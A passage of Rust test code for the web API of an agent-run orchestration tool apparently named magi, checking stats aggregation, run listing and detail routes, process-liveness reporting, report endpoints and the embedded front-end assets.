12267                .expect("array")
12268                .iter()
12269                .map(|a| a["agent"].as_str().unwrap().to_owned())
12270                .collect()
12271        };
12272        let hidden = f.get("/api/stats").await.json();
12273        assert_eq!(agents_of(&hidden), ["keep"]);
12274        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12275        assert_eq!(hidden["totals"]["runs"], 1);
12276
12277        let all = f.get("/api/stats?all=true").await.json();
12278        assert_eq!(agents_of(&all).len(), 2);
12279        assert_eq!(all["retired_hidden"], serde_json::json!([]));
12280    }
12281
12282    #[tokio::test]
12283    async fn stats_release_bumps_split_clean_from_attention() {
12284        use crate::run::ReleaseBump;
12285
12286        let f = Fixture::start().await;
12287
12288        let mut clean = RunState::new(
12289            PathBuf::from("/repo/magi"),
12290            "main".to_owned(),
12291            "0123456789abcdef".to_owned(),
12292            "task".to_owned(),
12293            Config::default(),
12294        );
12295        clean.id = "20260902-140501-a".to_owned();
12296        clean.status = RunStatus::Merged;
12297        clean.release_bump = Some(ReleaseBump {
12298            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12299            version: Some("1.0.0".to_owned()),
12300            automerge_enabled: true,
12301            merged_directly: false,
12302            local: false,
12303            release: None,
12304            problem: None,
12305            action_required: None,
12306        });
12307
12308        let mut blocked = RunState::new(
12309            PathBuf::from("/repo/magi"),
12310            "main".to_owned(),
12311            "0123456789abcdef".to_owned(),
12312            "task".to_owned(),
12313            Config::default(),
12314        );
12315        blocked.id = "20260902-140502-b".to_owned();
12316        blocked.status = RunStatus::Merged;
12317        blocked.release_bump = Some(ReleaseBump {
12318            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12319            version: Some("1.0.1".to_owned()),
12320            automerge_enabled: false,
12321            merged_directly: false,
12322            local: false,
12323            release: None,
12324            problem: Some("checks red".to_owned()),
12325            action_required: Some("look at the PR".to_owned()),
12326        });
12327
12328        for state in [&clean, &blocked] {
12329            let dir = f.runs().join(&state.id);
12330            std::fs::create_dir_all(&dir).expect("run dir");
12331            std::fs::write(
12332                dir.join("run.json"),
12333                serde_json::to_string_pretty(state).expect("serialize run"),
12334            )
12335            .expect("write run.json");
12336        }
12337
12338        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12339        assert_eq!(bumps["merged"], 2);
12340        assert_eq!(bumps["recorded"], 2);
12341        assert_eq!(bumps["pr_opened"], 2);
12342        assert_eq!(bumps["automerge_enabled"], 1);
12343        assert_eq!(bumps["needs_attention"], 1);
12344        assert_eq!(bumps["clean"], 1);
12345        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12346        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12347    }
12348
12349    #[tokio::test]
12350    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12351        let f = Fixture::start().await;
12352        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12353
12354        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12355        assert_eq!(bumps["merged"], 1);
12356        assert_eq!(bumps["recorded"], 0);
12357        // `merged` is nonzero, so coverage still reads as a real 0%, not an
12358        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
12359        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12360        // `pr_opened` and `recorded` are both zero here, so these rates have
12361        // no denominator to compute from and must be null.
12362        assert_eq!(bumps["automerge_rate"], Value::Null);
12363        assert_eq!(bumps["attention_rate"], Value::Null);
12364    }
12365
12366    #[tokio::test]
12367    async fn stats_queue_counts_come_from_the_live_queue() {
12368        let f = Fixture::start().await;
12369        let q = f.queue();
12370        let mut queued = Task::new(
12371            "queued task".to_owned(),
12372            "do it".to_owned(),
12373            PathBuf::from("/repo"),
12374            Source::Human,
12375        );
12376        q.put(&mut queued).expect("put queued");
12377        let mut held = Task::new(
12378            "held task".to_owned(),
12379            "do it later".to_owned(),
12380            PathBuf::from("/repo"),
12381            Source::Human,
12382        );
12383        held.hold_machine(Some("out of attempts".to_owned()));
12384        q.put(&mut held).expect("put held");
12385
12386        let queue = f.get("/api/stats").await.json()["queue"].clone();
12387        assert_eq!(queue["queued"], 1);
12388        assert_eq!(queue["held"], 1);
12389        assert_eq!(queue["running"], 0);
12390        assert_eq!(queue["done"], 0);
12391        assert_eq!(queue["failed"], 0);
12392        assert_eq!(queue["blocked"], 0);
12393    }
12394
12395    #[tokio::test]
12396    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12397        let f = Fixture::start().await;
12398        let stats = f.get("/api/stats").await;
12399        assert_eq!(stats.status, 200);
12400        assert_eq!(stats.json()["totals"]["runs"], 0);
12401        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12402        assert_eq!(stats.json()["runs_unreadable"], 0);
12403        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12404        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12405        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12406        assert_eq!(stats.json()["repo"], Value::Null);
12407    }
12408
12409    #[tokio::test]
12410    async fn stats_lists_every_repository_with_runs_recorded() {
12411        let f = Fixture::start().await;
12412        write_run_repo(
12413            &f.runs(),
12414            "20260902-140501-a",
12415            RunStatus::Merged,
12416            "/repos/a",
12417        );
12418        write_run_repo(
12419            &f.runs(),
12420            "20260902-140502-b",
12421            RunStatus::Merged,
12422            "/repos/a",
12423        );
12424        write_run_repo(
12425            &f.runs(),
12426            "20260902-140503-c",
12427            RunStatus::Blocked,
12428            "/repos/b",
12429        );
12430
12431        let stats = f.get("/api/stats").await;
12432        assert_eq!(stats.status, 200);
12433        // Unfiltered - the aggregate across both repositories.
12434        assert_eq!(stats.json()["totals"]["runs"], 3);
12435        assert_eq!(stats.json()["repo"], Value::Null);
12436
12437        let repos = stats.json()["repos"].clone();
12438        let repos = repos.as_array().unwrap();
12439        assert_eq!(repos.len(), 2);
12440        // Busiest (2 runs) first.
12441        assert_eq!(repos[0]["repo"], "/repos/a");
12442        assert_eq!(repos[0]["name"], "a");
12443        assert_eq!(repos[0]["runs"], 2);
12444        assert_eq!(repos[1]["repo"], "/repos/b");
12445        assert_eq!(repos[1]["runs"], 1);
12446    }
12447
12448    #[tokio::test]
12449    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12450        let f = Fixture::start().await;
12451        write_run_repo(
12452            &f.runs(),
12453            "20260902-140501-a",
12454            RunStatus::Merged,
12455            "/repos/a",
12456        );
12457        write_run_repo(
12458            &f.runs(),
12459            "20260902-140502-b",
12460            RunStatus::Blocked,
12461            "/repos/b",
12462        );
12463
12464        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12465        assert_eq!(stats.status, 200);
12466        assert_eq!(stats.json()["totals"]["runs"], 1);
12467        assert_eq!(stats.json()["totals"]["merged"], 1);
12468        assert_eq!(stats.json()["repo"], "/repos/a");
12469        // The repository list itself is unaffected by the filter - it is
12470        // what a client switches repositories from.
12471        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12472        // runs_unreadable is a whole-workload count, never scoped to the
12473        // selected repository - see StatsView::runs_unreadable's own doc.
12474        assert_eq!(stats.json()["runs_unreadable"], 0);
12475    }
12476
12477    #[tokio::test]
12478    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12479        let f = Fixture::start().await;
12480        write_run_repo(
12481            &f.runs(),
12482            "20260902-140501-a",
12483            RunStatus::Merged,
12484            "/repos/a",
12485        );
12486        write_run_repo(
12487            &f.runs(),
12488            "20260902-140502-b",
12489            RunStatus::Merged,
12490            "/repos/b",
12491        );
12492
12493        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12494            let json = f.get(uri).await.json();
12495            let daily = json["daily"].as_array().expect("daily is an array");
12496            assert_eq!(daily.len(), 30);
12497            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12498            let mut sorted = dates.clone();
12499            sorted.sort();
12500            assert_eq!(dates, sorted);
12501            for d in daily {
12502                assert_eq!(
12503                    d["merged"].as_u64().unwrap()
12504                        + d["ready"].as_u64().unwrap()
12505                        + d["other"].as_u64().unwrap(),
12506                    d["runs"].as_u64().unwrap()
12507                );
12508            }
12509            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12510        }
12511    }
12512
12513    #[tokio::test]
12514    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12515        let f = Fixture::start().await;
12516        write_run_repo(
12517            &f.runs(),
12518            "20260902-140501-a",
12519            RunStatus::Merged,
12520            "/repos/a",
12521        );
12522
12523        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12524        assert_eq!(stats.status, 404);
12525    }
12526
12527    #[tokio::test]
12528    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12529        let f = Fixture::start().await;
12530        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12531
12532        let summary = f.get("/api/runs").await.json();
12533        let row = &summary[0];
12534        assert_eq!(row["short"], "a1b2");
12535        assert_eq!(row["status"], "ready");
12536        assert_eq!(row["done"], true);
12537        assert_eq!(row["title"], "Add a web UI");
12538        assert_eq!(row["repo_name"], "magi");
12539        assert_eq!(row["judges"], 3);
12540        assert_eq!(row["winner"], Value::Null);
12541        assert_eq!(row["reviews"], 0);
12542
12543        // The short id resolves, and the detail route is the state itself, not
12544        // a projection of it: the UI reads fields the summary does not carry.
12545        let detail = f.get("/api/runs/a1b2").await;
12546        assert_eq!(detail.status, 200);
12547        assert_eq!(detail.json()["base_branch"], "main");
12548        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12549    }
12550
12551    /// `status: "ready"` alone cannot tell a run still headed for a landing
12552    /// (a PR closed without merging, say) apart from one `[merge] mode =
12553    /// "none"` left unmerged for good — the confusion the operator flagged
12554    /// after the CLI report already grew a `not landed — nothing to do by
12555    /// design` line for exactly this case (`report.rs`). Both the list route
12556    /// and the detail route must carry a flag the phone can key on instead of
12557    /// re-deriving it from `status` + `merge.mode` itself.
12558    #[tokio::test]
12559    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12560        let f = Fixture::start().await;
12561
12562        let mut none_run = RunState::new(
12563            PathBuf::from("/repo/magi"),
12564            "main".to_owned(),
12565            "0123456789abcdef".to_owned(),
12566            "Add a web UI".to_owned(),
12567            Config::default(),
12568        );
12569        none_run.id = "20260902-140503-none".to_owned();
12570        none_run.status = RunStatus::Ready;
12571        none_run.merge = Some(crate::run::MergeOutcome {
12572            mode: crate::config::MergeMode::None,
12573            ok: true,
12574            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12575            empty: false,
12576        });
12577        write_state(&f.runs(), &none_run);
12578
12579        let mut pr_run = RunState::new(
12580            PathBuf::from("/repo/magi"),
12581            "main".to_owned(),
12582            "0123456789abcdef".to_owned(),
12583            "Add a web UI".to_owned(),
12584            Config::default(),
12585        );
12586        pr_run.id = "20260902-140504-prcl".to_owned();
12587        pr_run.status = RunStatus::Ready;
12588        pr_run.merge = Some(crate::run::MergeOutcome {
12589            mode: crate::config::MergeMode::Pr,
12590            ok: false,
12591            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12592            empty: false,
12593        });
12594        write_state(&f.runs(), &pr_run);
12595
12596        let summary = f.get("/api/runs").await.json();
12597        let rows: std::collections::HashMap<&str, &Value> = summary
12598            .as_array()
12599            .expect("an array")
12600            .iter()
12601            .map(|r| (r["id"].as_str().expect("an id"), r))
12602            .collect();
12603        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12604        assert_eq!(
12605            rows[none_run.id.as_str()]["unmerged_by_design"],
12606            true,
12607            "a mode-none Ready must be flagged in the list"
12608        );
12609        assert_eq!(
12610            rows[pr_run.id.as_str()]["unmerged_by_design"],
12611            false,
12612            "a Ready reached by a closed pull request is a different case"
12613        );
12614
12615        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12616        assert_eq!(none_detail["status"], "ready");
12617        assert_eq!(none_detail["unmerged_by_design"], true);
12618
12619        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12620        assert_eq!(pr_detail["unmerged_by_design"], false);
12621    }
12622
12623    /// `RunState::active` is only ever cleared by whoever populated it, so the
12624    /// detail route also has to say whether a daemon is actually still
12625    /// driving this run right now — otherwise a seat from a killed process's
12626    /// last wave would read as live forever.
12627    #[tokio::test]
12628    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12629        let f = Fixture::start().await;
12630        // Matches `write_daemon`'s hard-coded `current.run`, so the second
12631        // half of this test can claim the daemon is working on it without a
12632        // second helper.
12633        let id = "20260902-140502-bbbb";
12634        let mut state = RunState::new(
12635            PathBuf::from("/repo/magi"),
12636            "main".to_owned(),
12637            "0123456789abcdef".to_owned(),
12638            "Add a web UI".to_owned(),
12639            Config::default(),
12640        );
12641        state.id = id.to_owned();
12642        state.status = RunStatus::Judging;
12643        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12644        let dir = f.runs().join(id);
12645        std::fs::create_dir_all(&dir).expect("run dir");
12646        std::fs::write(
12647            dir.join("run.json"),
12648            serde_json::to_string_pretty(&state).expect("serialize run"),
12649        )
12650        .expect("write run.json");
12651
12652        // No daemon.json at all, and no `driver_pid` recorded either (this
12653        // state was written directly, never through `execute()`): there is
12654        // nothing to confirm either way, so the route must say `"unknown"` —
12655        // never `"dead"`, which is exactly the false diagnosis a manual `magi
12656        // run` used to get from this route before `driver_pid` existed.
12657        let cold = f.get(&format!("/api/runs/{id}")).await.json();
12658        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12659        assert_eq!(cold["live"], "unknown", "{cold}");
12660
12661        // A fresh heartbeat naming exactly this run: the same entry now reads
12662        // as confirmed, not merely recorded.
12663        write_daemon(f.home.path(), Timestamp::now());
12664        let warm = f.get(&format!("/api/runs/{id}")).await.json();
12665        assert_eq!(warm["live"], "live", "{warm}");
12666    }
12667
12668    /// Where a run came from is shown, and a run written before origins were
12669    /// recorded (schema 12, no `origin` key) stays readable and says so.
12670    #[tokio::test]
12671    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12672        let f = Fixture::start().await;
12673        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12674            let mut state = RunState::new(
12675                PathBuf::from("/repo/magi"),
12676                "main".to_owned(),
12677                "0123456789abcdef".to_owned(),
12678                "Add a web UI".to_owned(),
12679                Config::default(),
12680            );
12681            state.id = id.to_owned();
12682            state.origin = origin;
12683            let mut value = serde_json::to_value(&state).expect("serialize run");
12684            if let Some(schema) = schema {
12685                value["schema"] = serde_json::json!(schema);
12686                value.as_object_mut().unwrap().remove("origin");
12687            }
12688            let dir = f.runs().join(id);
12689            std::fs::create_dir_all(&dir).expect("run dir");
12690            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12691        };
12692        write(
12693            "20260930-092817-ec34",
12694            Some(crate::run::Origin::from_agent_env(
12695                Some(("4a7b".to_owned(), "chat".to_owned())),
12696                None,
12697            )),
12698            None,
12699        );
12700        write("20260930-092817-0ld1", None, Some(12));
12701
12702        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12703        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12704        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12705
12706        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12707        assert_eq!(
12708            old["origin_label"], "origin unknown (started before origins were recorded)",
12709            "{old}"
12710        );
12711        assert!(old["origin"].is_null(), "{old}");
12712
12713        let list = f.get("/api/runs").await.json();
12714        let labels: Vec<_> = list
12715            .as_array()
12716            .unwrap()
12717            .iter()
12718            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12719            .collect();
12720        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12721    }
12722
12723    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
12724    /// review` claims no daemon at all, so before this field existed the
12725    /// route above read it as `"dead"` — indistinguishable from a run a
12726    /// killed process abandoned — the whole time it was genuinely still
12727    /// answering. With a live pid recorded, it must read `"live"` even
12728    /// though no daemon claims it.
12729    #[tokio::test]
12730    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12731        let f = Fixture::start().await;
12732        let id = "20260922-090000-cccc";
12733        let mut state = RunState::new(
12734            PathBuf::from("/repo/magi"),
12735            "main".to_owned(),
12736            "0123456789abcdef".to_owned(),
12737            "Review only".to_owned(),
12738            Config::default(),
12739        );
12740        state.id = id.to_owned();
12741        state.status = RunStatus::Reviewing;
12742        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12743        // This test process's own pid: guaranteed alive, and never needs a
12744        // real daemon or a second process to prove it. The matching start-time
12745        // marker is what `liveness` now requires alongside a live pid — see
12746        // `RunState::driver_started_at`'s own doc for why the pid alone is
12747        // not enough.
12748        state.driver_pid = Some(std::process::id());
12749        state.driver_started_at = Some(
12750            crate::proc::process_started_at(std::process::id())
12751                .expect("this test process's own start time must be queryable"),
12752        );
12753        let dir = f.runs().join(id);
12754        std::fs::create_dir_all(&dir).expect("run dir");
12755        std::fs::write(
12756            dir.join("run.json"),
12757            serde_json::to_string_pretty(&state).expect("serialize run"),
12758        )
12759        .expect("write run.json");
12760
12761        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12762        assert_eq!(detail["live"], "live", "{detail}");
12763    }
12764
12765    /// A killed manual run's pid can be handed to a wholly unrelated later
12766    /// process — a live query on `driver_pid` alone would read this as
12767    /// `"live"`, exactly the false positive `driver_started_at` exists to
12768    /// catch (see that field's own doc, and `RunState::liveness_with`'s
12769    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
12770    #[tokio::test]
12771    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12772        let f = Fixture::start().await;
12773        let id = "20260922-090100-dddd";
12774        let mut state = RunState::new(
12775            PathBuf::from("/repo/magi"),
12776            "main".to_owned(),
12777            "0123456789abcdef".to_owned(),
12778            "Review only".to_owned(),
12779            Config::default(),
12780        );
12781        state.id = id.to_owned();
12782        state.status = RunStatus::Reviewing;
12783        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12784        // This test process's own pid really is alive, but the marker
12785        // recorded here does not match what it actually started at —
12786        // standing in for the pid having since been reused by a different
12787        // process than the one that wrote `run.json`.
12788        state.driver_pid = Some(std::process::id());
12789        state.driver_started_at = Some("1".to_owned());
12790        let dir = f.runs().join(id);
12791        std::fs::create_dir_all(&dir).expect("run dir");
12792        std::fs::write(
12793            dir.join("run.json"),
12794            serde_json::to_string_pretty(&state).expect("serialize run"),
12795        )
12796        .expect("write run.json");
12797
12798        let detail = f.get(&format!("/api/runs/{id}")).await.json();
12799        assert_eq!(detail["live"], "dead", "{detail}");
12800    }
12801
12802    /// The deck's competition list is normally the first place an operator
12803    /// sees an old run. It must carry the same process verdict as detail, or
12804    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
12805    #[test]
12806    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12807        let mk = |id: &str, pid: Option<u32>| {
12808            let mut s = RunState::new(
12809                PathBuf::from("/repo/magi"),
12810                "main".to_owned(),
12811                "0123456789abcdef".to_owned(),
12812                "Add a web UI".to_owned(),
12813                Config::default(),
12814            );
12815            s.id = id.to_owned();
12816            s.driver_pid = pid;
12817            s.driver_started_at = Some("1790000000".to_owned());
12818            s
12819        };
12820        let states = vec![
12821            mk("20260902-140502-aaaa", Some(77)),
12822            mk("20260902-140502-bbbb", Some(77)),
12823            mk("20260902-140502-cccc", Some(77)),
12824            mk("20260902-140502-dddd", None),
12825        ];
12826        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12827        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12828        let sup: HashMap<String, String> = [(
12829            "20260902-140502-aaaa".to_owned(),
12830            "20260902-140502-cccc".to_owned(),
12831        )]
12832        .into();
12833
12834        let status_calls = std::cell::Cell::new(0);
12835        let identity_calls = std::cell::Cell::new(0);
12836        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12837            |_| {
12838                status_calls.set(status_calls.get() + 1);
12839                Some(true)
12840            },
12841            |_| {
12842                identity_calls.set(identity_calls.get() + 1);
12843                Some("1790000000".to_owned())
12844            },
12845        ));
12846        let rows = summarize(
12847            states,
12848            &open,
12849            &claimed,
12850            &sup,
12851            |p| probe.borrow_mut().status(p),
12852            |p| probe.borrow_mut().started_at(p),
12853        );
12854
12855        assert_eq!(status_calls.get(), 1, "one pid, one status query");
12856        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12857        assert_eq!(rows.len(), 4);
12858        assert!(!rows[0].waiting && rows[1].waiting);
12859        assert_eq!(rows[0].live, crate::run::Liveness::Live);
12860        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12861        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12862        assert_eq!(rows[1].superseded_by, None);
12863    }
12864
12865    #[test]
12866    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12867        let mut state = RunState::new(
12868            PathBuf::from("/repo/magi"),
12869            "main".to_owned(),
12870            "0123456789abcdef".to_owned(),
12871            "Review only".to_owned(),
12872            Config::default(),
12873        );
12874        state.id = "20260922-090200-dead".to_owned();
12875        state.status = RunStatus::Reviewing;
12876        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12877            .expect("serialize list row");
12878        assert_eq!(row["status"], "reviewing");
12879        assert_eq!(row["live"], "dead", "{row}");
12880        assert!(!row["done"].as_bool().unwrap());
12881    }
12882
12883    #[tokio::test]
12884    async fn the_run_list_is_newest_first_and_honours_a_limit() {
12885        let f = Fixture::start().await;
12886        for id in [
12887            "20260902-140501-aaaa",
12888            "20260902-140502-bbbb",
12889            "20260902-140503-cccc",
12890        ] {
12891            write_run(&f.runs(), id, RunStatus::Merged);
12892        }
12893
12894        let all = f.get("/api/runs").await.json();
12895        let capped = f.get("/api/runs?limit=2").await.json();
12896
12897        assert_eq!(all[0]["id"], "20260902-140503-cccc");
12898        assert_eq!(all.as_array().map(Vec::len), Some(3));
12899        assert_eq!(capped.as_array().map(Vec::len), Some(2));
12900        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12901    }
12902
12903    #[tokio::test]
12904    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12905        let f = Fixture::start().await;
12906        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12907
12908        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12909
12910        assert_eq!(res.status, 200);
12911        assert!(
12912            res.headers
12913                .contains("content-type: text/plain; charset=utf-8"),
12914            "a browser must render it, not download it: {}",
12915            res.headers
12916        );
12917        // The assertion is on content, not on the absence of escapes: colour
12918        // is a process-global that `serve` turns off at startup, and another
12919        // test in this binary may own it while this one runs.
12920        assert!(
12921            res.body.contains("20260902-140501-a1b2"),
12922            "the report is about the run that was asked for: {}",
12923            res.body
12924        );
12925    }
12926
12927    #[tokio::test]
12928    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12929        // The view names the run's state directory, which reads the process-global home.
12930        crate::run::pin_test_home();
12931        let f = Fixture::start().await;
12932        let id = "20260902-140501-a1b2";
12933        write_run(&f.runs(), id, RunStatus::Stalled);
12934        // A stalled panel and one review round, written through the real
12935        // state file so the route reads what a run really leaves behind.
12936        let path = f.runs().join(id).join("run.json");
12937        let mut v: serde_json::Value =
12938            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12939        v["tally"] = serde_json::json!({
12940            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12941            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12942            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12943            "met_quorum": false, "rankings": 1
12944        });
12945        v["reviews"] = serde_json::json!([{
12946            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12947            "e2e_deferred": true,
12948            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12949                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12950            ]}]
12951        }]);
12952        std::fs::write(&path, v.to_string()).unwrap();
12953        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12954        std::fs::write(
12955            f.runs().join("20260902-140502-dead").join("run.json"),
12956            "{not json",
12957        )
12958        .unwrap();
12959
12960        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12961
12962        assert_eq!(res.status, 200, "{}", res.body);
12963        assert!(res.headers.contains("content-type: application/json"));
12964        let j = res.json();
12965        assert_eq!(j["schema"], 1);
12966        assert_eq!(j["header"]["id"], id);
12967        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12968        let kinds: Vec<&str> = j["sections"]
12969            .as_array()
12970            .unwrap()
12971            .iter()
12972            .map(|s| s["kind"].as_str().unwrap())
12973            .collect();
12974        assert_eq!(kinds, ["candidates", "tally", "review"]);
12975        let tally = &j["sections"][1]["tally"];
12976        assert_eq!(
12977            (tally["decided"].clone(), tally["provisional"].clone()),
12978            (false.into(), true.into())
12979        );
12980        let round = &j["sections"][2]["rounds"][0];
12981        assert_eq!(round["e2e"]["state"], "deferred");
12982        assert_eq!(round["findings"][0]["severity"], "major");
12983        assert_eq!(round["findings"][0]["blocking"], true);
12984        assert_eq!(round["findings"][0]["state"], "open");
12985
12986        // The raw route keeps working beside it.
12987        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12988
12989        // An unreadable run is an error, as on the text route, and is counted.
12990        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12991        assert_ne!(bad.status, 200, "{}", bad.body);
12992        assert_eq!(
12993            bad.status,
12994            f.get("/api/runs/20260902-140502-dead/report").await.status
12995        );
12996        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12997        assert_eq!(
12998            f.get("/api/runs/20260902-999999-ffff/report.json")
12999                .await
13000                .status,
13001            404
13002        );
13003    }
13004
13005    #[tokio::test]
13006    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
13007        let f = Fixture::start().await;
13008
13009        let html = f.get("/").await;
13010        let css = f.get("/app.css").await;
13011        let js = f.get("/app.js").await;
13012
13013        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
13014        assert!(
13015            html.headers
13016                .contains("content-type: text/html; charset=utf-8")
13017        );
13018        assert!(css.headers.contains("content-type: text/css"));
13019        assert!(js.headers.contains("content-type: text/javascript"));
13020        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
13021    }
13022
13023    #[test]
13024    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
13025        let body = |name: &str| {
13026            let at = APP_JS
13027                .find(name)
13028                .unwrap_or_else(|| panic!("{name} missing"));
13029            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13030        };
13031        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
13032        let note = body("function landRoundNote");
13033        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
13034        assert!(note.contains("Land round ${round}"));
13035        let land = body("function renderLand");
13036        let note_at = land
13037            .find("landRoundNote(pr)")
13038            .expect("renderLand uses the note");
13039        assert!(
13040            note_at
13041                < land
13042                    .find("roundRail(pr)")
13043                    .expect("renderLand uses the rail")
13044        );
13045    }
13046
13047    #[test]
13048    fn the_runs_page_redesign_keeps_its_guards() {
13049        let body = |name: &str| {
13050            let at = APP_JS
13051                .find(name)
13052                .unwrap_or_else(|| panic!("{name} missing"));
13053            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13054        };
13055        // A null child must never reach the native append (it prints "null").
13056        let land = body("function renderLand");
13057        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13058        assert!(
13059            !land.contains("box.append("),
13060            "renderLand must use append()"
13061        );
13062        assert!(land.contains("append(box, ["));
13063        // Tabs are hash routes; the run id alone decides a reload.
13064        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13065        assert!(
13066            body("function applyRoute")
13067                .contains("route.name !== state.route.name || route.id !== state.route.id")
13068        );
13069        // The decorative diagram is gone, the strip and its guards stay.
13070        assert!(!APP_JS.contains("adviseConvergeDiagram"));
13071        assert!(!INDEX_HTML.contains("advise-converge"));
13072        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13073        assert!(APP_JS.contains("provisional"));
13074        for id in [
13075            "run-tab-overview",
13076            "run-tab-timeline",
13077            "run-tab-report",
13078            "run-report",
13079            "runs-scope",
13080        ] {
13081            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13082        }
13083        assert!(!INDEX_HTML.contains("runs-tree"));
13084        assert!(!INDEX_HTML.contains("run-raw-panel"));
13085        // Fold still says it cannot be resumed.
13086        assert!(APP_JS.contains("resume"));
13087        // The unreadable-runs count stays on the page.
13088        assert!(APP_JS.contains("unreadable"));
13089    }
13090
13091    #[test]
13092    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13093        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13094        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13095        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
13096        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13097        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13098        // The subtitle still counts them whatever the banner does.
13099        assert!(APP_JS.contains("unreadable` : null"));
13100    }
13101
13102    #[test]
13103    fn the_run_detail_payload_says_whether_the_run_is_done() {
